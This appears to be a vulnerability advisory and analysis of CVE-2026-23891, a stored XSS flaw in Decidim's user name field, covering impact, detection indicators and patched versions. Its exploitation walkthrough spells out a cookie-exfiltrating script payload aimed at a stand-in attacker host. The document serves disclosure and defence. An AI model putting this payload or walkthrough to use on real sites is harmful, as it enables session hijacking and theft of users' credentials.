CVE-2026-23891: 
Ruby vulnerability analysis and mitigation

CVE-2026-23891 is a stored Cross-Site Scripting (XSS) vulnerability in the user name field of Decidim, an open-source participatory democracy platform. It allows a low-privileged attacker to inject and persistently store malicious scripts that execute in the browser context of any user who passively visits a comment page. The vulnerability affects the decidim-core RubyGems package in versions prior to 0.30.5 and versions 0.31.0.rc1 through 0.31.0 (fixed in 0.31.1). It was disclosed on April 13, 2026, and carries a CVSS v4.0 base score of 9.3 (Critical) and a CVSS v3.1 base score of 8.7 (High) (Github Advisory, Decidim Advisory).

The root cause is improper neutralization of user-controllable input in the user name field before it is rendered in web pages served to other users (CWE-79: Stored XSS). When a user sets a malicious display name containing JavaScript payloads, the application fails to sanitize or encode the input before embedding it in comment pages, violating OWASP ASVS v4.0.3-5.1.3 output encoding requirements. The attack vector is network-based, requires only low privileges (a standard user account), and is triggered passively — victims do not need to click any link, only visit a page where the attacker's username is rendered. The vulnerability was discovered during a security audit organized by octree and conducted by Secu Labs on behalf of the city of Lausanne, Switzerland (Github Advisory, Decidim Advisory).

Successful exploitation enables arbitrary JavaScript execution in the browser context of any user who views a comment page where the attacker's username is displayed, crossing security boundaries. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victim users, and access to sensitive information visible to those users. Both confidentiality and integrity impacts are rated High across both the vulnerable and subsequent systems, with low availability impact; availability of the platform itself is not directly affected (Github Advisory, Feedly).

There is no public proof-of-concept exploit code known at this time, and no evidence of in-the-wild exploitation has been reported (Github Advisory). No threat actor attribution is available. The EPSS score is approximately 0.053% (17th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Despite the lack of active exploitation, the low barrier to entry — requiring only a standard user account — makes it a realistic threat on any unpatched Decidim instance.

1. Register or obtain a low-privileged account: Create or use an existing standard user account on a vulnerable Decidim instance (versions < 0.30.5 or 0.31.0.rc1–0.31.0).
2. Inject XSS payload into the user name field: Navigate to the account profile settings and set the display name to a crafted XSS payload, such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> or a more subtle event-handler-based payload.
3. Post a comment: Submit at least one comment on any public or accessible comment page within the platform. The attacker's username (containing the payload) will be stored and rendered alongside the comment.
4. Wait for victim interaction: Any user who passively visits the comment page will have the malicious script execute in their browser context — no click or active interaction is required beyond page load.
5. Harvest results: Collect exfiltrated session tokens, cookies, or other sensitive data from the attacker-controlled server, enabling session hijacking or further unauthorized actions on behalf of the victim (Github Advisory, Decidim Advisory).

• Logs: Web server or application logs showing unusual outbound requests from victim browsers to external domains immediately after loading comment pages; error logs related to username validation or sanitization failures.
• Network: Unexpected HTTP requests from client browsers to attacker-controlled domains (e.g., cookie or token exfiltration endpoints) originating from Decidim comment page loads; unusual DNS lookups from end-user systems after visiting comment pages.
• Application: User accounts with display names containing HTML tags, JavaScript keywords (<script>, onerror=, onload=, javascript:), or encoded variants thereof; comments authored by accounts with suspicious or malformed usernames.
• File System: No direct file system artifacts expected for a client-side XSS; however, server-side logs may capture the stored malicious username in database query logs or audit trails.

Decidim has released patched versions that address this vulnerability: v0.30.5 (for the 0.30.x branch) and v0.31.1 (for the 0.31.x branch). Administrators should upgrade immediately by updating the decidim and decidim-dev gems in their Gemfile and running bundle update decidim, bin/rails decidim:upgrade, and bin/rails db:migrate (v0.30.5 Release, v0.31.1 Release). No official workarounds are available from the vendor. As interim mitigations, administrators may consider implementing a strict Content Security Policy (CSP) header to limit script execution, applying input validation and output encoding at the application level per OWASP ASVS v4.0.3-5.1.3, and monitoring user accounts for suspicious display names containing HTML or JavaScript.

The vulnerability was discovered through a formal security audit commissioned by the city of Lausanne, Switzerland, organized by octree and conducted by Secu Labs, reflecting growing municipal investment in open-source platform security (Decidim Advisory). The advisory was published by the Decidim project maintainers on April 13, 2026, with coordinated disclosure and patch release. No significant broader media coverage or notable independent researcher commentary has been identified beyond the standard vulnerability database entries.